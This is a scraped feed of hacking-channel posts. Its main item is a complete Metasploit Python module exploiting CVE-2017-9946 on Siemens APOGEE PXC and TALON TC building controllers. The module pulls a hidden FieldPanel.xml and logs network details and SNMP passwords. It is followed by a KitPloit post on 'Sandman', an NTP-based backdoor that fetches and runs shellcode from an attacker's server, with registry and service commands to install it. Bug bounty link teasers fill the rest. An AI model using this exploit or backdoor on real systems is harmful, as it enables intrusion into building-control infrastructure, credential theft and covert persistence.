Black Hat Ethical Hacking
Offensive Security Tool: LAZYPARIAH

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Siemens APOGEE PXC / TALON TC Authentication Bypass

https://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png APOLOGEE is a Python script and Metasploit module that enumerates a hidden directory on Siemens APOGEE PXC BACnet Automation Controllers and TALON TC BACnet Automation Controllers. With a 7.5 CVSS, this exploit allows for an attacker to perform an authentication bypass using an alternate path or channel to access hidden directories in the web server. All versions prior to 3.5 are affected.

SHA-256 | 9cdea8ef198269714420f4181480f5f779bae0a4ceba444e0d250e3b4071220aDownload #!/usr/bin/env python3

# -*- coding: utf-8 -*-
# 2022-05-23

# Standard Modules
from metasploit import module

# Extra Dependencies
dependencies_missing = False
try:
import logging
import requests
import requests
import xmltodict
import xml.etree.ElementTree as ET
import socket
import struct
import requests
except ImportError:
dependencies_missing = True
# Metasploit Metadata
metadata = {
'name': 'Siemens BACnet Field Panel Path Traversal',
'description': '''
This module exploits a hidden directory on Siemens APOGEE PXC BACnet Automation Controllers (all versions prior to V3.5), and TALON TC BACnet Automation Controllers (all versions prior to V3.5). With a 7.5 CVSS, this exploit allows for an attacker to perform an authentication bypass using an alternate path or channel to enumerate hidden directories in the web server.
''',
'authors': [
'RoseSecurity',
],
'date': '2022-05-23',
'license': 'MSF_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://sid.siemens.com/v/u/A6V10304985'},
{'type': 'cve', 'ref': 'https://nvd.nist.gov/vuln/detail/CVE-2017-9946'},
],
'type': 'single_scanner',
'options': {
'rhost': {'type': 'string', 'description': 'Target address', 'required': True, 'default': None},
}
}

def run(args):
module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
if dependencies_missing:
logging.error('Module dependency (requests) is missing, cannot continue')
return

try:
# Download Hidden XML File
r = requests.get('http://{}/{}'.format(args['rhost'], '/FieldPanel.xml'), verify=False)

# Convert to Readable Format
xml_doc = r.content
root = ET.fromstring(xml_doc)

# Parse XML for Sensitive Data
module.log("Remote Site ID: " + root[18].text)
module.log("Building Level Network Name: " + root[26].text)
module.log("Site Name: " + root[27].text)
module.log("Hostname: " + root[28].text)
ip_addr = int(root[30].text, 16)
module.log("IP Address: " + socket.inet_ntoa(struct.pack(">L", ip_addr)))
gw_addr = int(root[32].text, 16)
gw_addr = str(socket.inet_ntoa(struct.pack(">L", gw_addr)))
module.log("Gateway IP Address: " + gw_addr[::-1])
module.log("Maximum Transmission Size: " + root[57].text)
module.log("BACnet Device Name: " + root[60].text)
module.log("BACnet UDP Port: " + root[62].text)
module.log("Device Location: " + root[63].text)
module.log("Device Description: " + root[64].text)
module.log("Device Barcode: " + root[88].text)
module.log("Device Revision String: " + root[104].text)
module.log("Device Firmware: " + root[105].text)
module.log("Panel Key Name: " + root[109].text)
module.log("SNMP Username: " + root[148].text)
module.log("SNMP Private Password: " + root[149].text)
module.log("SNMP Authorization Password: " + root[150].text)

# Determine Running Services
if int(root[48].text) == 1:
module.log("Telnet Enabled")
else:
module.log("Telnet Disabled")

if int(root[84].text) == 1:
module.log("Wireless Enabled")
else:
module.log("Wireless Disabled")

if int(root[103].text) == 3:
module.log("Webserver Enabled")
else:
module.log("Webserver Disabled")

except requests.exceptions.RequestException as e:
logging.error('{}'.format(e))
return
if __name__ == '__main__':
module.run(metadata, run) Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

A Defense Content Developer will be answering questions on Reddit.
https://www.reddit.com/r/Pentesting/comments/yfm6d5/a_defense_content_developer_will_be_answering/

submitted by /u/Offsec_Community (https://www.reddit.com/user/Offsec_Community)
[link] (https://www.reddit.com/r/offensive_security/comments/ycl3i6/a_defense_content_developer_will_be_answering/) [comments] (https://www.reddit.com/r/Pentesting/comments/yfm6d5/a_defense_content_developer_will_be_answering/)

___________________________
@hacking_Attack
@Hacking_Video

RCE docker api, but …
https://medium.com/@nanwinata/rce-docker-api-but-11ff70825935?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

This is a short write up and to be honest “lazy” to write this.Continue reading on Medium » (https://medium.com/@nanwinata/rce-docker-api-but-11ff70825935?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

The Top 6 Bug Hunters With $1M+ Net Bounties
https://medium.com/the-gray-area/the-top-6-bug-hunters-with-1m-net-bounties-f4c998fe2ded?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

TL;DR- There are only a handful of hunters who have passed $1,000,000 in total bounty payouts, the first of them barely out of high school…Continue reading on The Gray Area » (https://medium.com/the-gray-area/the-top-6-bug-hunters-with-1m-net-bounties-f4c998fe2ded?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Bug Zero at a Glance [Week 22–28 October]
https://blog.bugzero.io/so-what-happened-this-week-22-28-october-266348be46d1?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

What happened with Bug Zero?Continue reading on Bug Zero » (https://blog.bugzero.io/so-what-happened-this-week-22-28-october-266348be46d1?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

RCE docker api, but …

This is a short write up and to be honest “lazy” to write this.Continue reading on Medium »
Read more...

The Top 6 Bug Hunters With $1M+ Net Bounties

TL;DR- There are only a handful of hunters who have passed $1,000,000 in total bounty payouts, the first of them barely out of high school…Continue reading on The Gray Area »
Read more...

Bug Zero at a Glance [Week 22–28 October]

What happened with Bug Zero?Continue reading on Bug Zero »
Read more...

KitPloit - PenTest Tools!
Sandman - NTP Based Backdoor For Red Team Engagements In Hardened Networks

https://blogger.googleusercontent.com/img/a/AVvXsEgojLgd6sJR_TeNcazI5aPkQwckwIr_3-PCUhF6PXGkwVB9Lej80_ciLS0tK2LrUGVDOPl2C-j8eoYpcZGdT0zyklHu1IjRZmdWysuVBw91kmbQ2kWZR2nJ_7lhea417b22apQ-kXEU3QYNCvk-XcuA_N23Peog566GqAvQlCU9YPmqBisQeUr9jgVFsA=w640-h388 Sandman is a backdoor that is meant to work on hardened networks during red team engagements.

Sandman works as a stager and leverages NTP (a protocol to sync time & date) to get and run an arbitrary shellcode from a pre-defined server.

Since NTP is a protocol that is overlooked by many defenders resulting in wide network accessibility. UsageSandmanServer (Usage)Run on windows / *nix machine: python3 sandman_server.py "Network Adapter" "Payload Url" "optional: ip to spoof"*
Network Adapter: The adapter that you want the server to listen on (for example Ethernet for Windows, eth0 for *nix).

*
Payload Url: The URL to your shellcode, it could be your agent (for example, CobaltStrike or meterpreter) or another stager.

*
IP to Spoof: If you want to spoof a legitimate IP address (for example, time.microsoft.com's IP address). SandmanBackdoor (Usage)To start, you can compile the SandmanBackdoor as mentioned below, because it is a single lightweight C# executable you can execute it via ExecuteAssembly, run it as an NTP provider or just execute/inject it. SandmanBackdoorTimeProvider (Usage)To use it, you will need to follow simple steps:

* Add the following registry value: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\Path\To\TheDll.dll"* Restart the w32time service: sc stop w32time
sc start w32timeNOTE: Make sure you are compiling with the x64 option and not any CPU option! Capabilities*
Getting and executing an arbitrary payload from an attacker's controlled server.

*
Can work on hardened networks since NTP is usually allowed in FW.

*
Impersonating a legitimate NTP server via IP spoofing. SetupSandmanServer (Setup)*
Python 3.9

*
The requirements are specified in the requirements file. SandmanBackdoor (Setup)To compile the backdoor I used Visual Studio 2022, but as mentioned in the usage section it can be compiled with both VS2022 and CSC. You can compile it either using the USE_SHELLCODE and use Orca's shellcode or without USE_SHELLCODE to use WebClient. SandmanBackdoorTimeProvider (Setup)To compile the backdoor I used Visual Studio 2022, you will also need to install DllExport (via Nuget or any other way) to compile it. You can compile it either using the USE_SHELLCODE and use Orca's shellcode or without USE_SHELLCODE to use WebClient. IOCs*
A shellcode is injected into RuntimeBroker.

*
Suspicious NTP communication starts with a known magic header.

*
YARA rule. Contributes* Orca for the shellcode.

*
Special thanks to Tim McGuffin for the time provider idea.
Thanks to those who already contributed and I'll happily accept contributions, make a pull request and I will review it! Download Sandman

___________________________
@hacking_Attack
@Hacking_Video

My Methodology for Making a Book library with Notion for Bug Bounty and Pentesting
https://sl4x0.medium.com/my-methodology-for-making-a-book-library-with-notion-for-bug-bounty-and-pentesting-b9bf0fbbbb6d?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

How to Use Notion 100% in Your Bug Bounyt and Pentesting Self-Study.Continue reading on Medium » (https://sl4x0.medium.com/my-methodology-for-making-a-book-library-with-notion-for-bug-bounty-and-pentesting-b9bf0fbbbb6d?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Bug Bounty Reports
https://medium.com/@reconshell.com/bug-bounty-reports-6385b37a468e?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video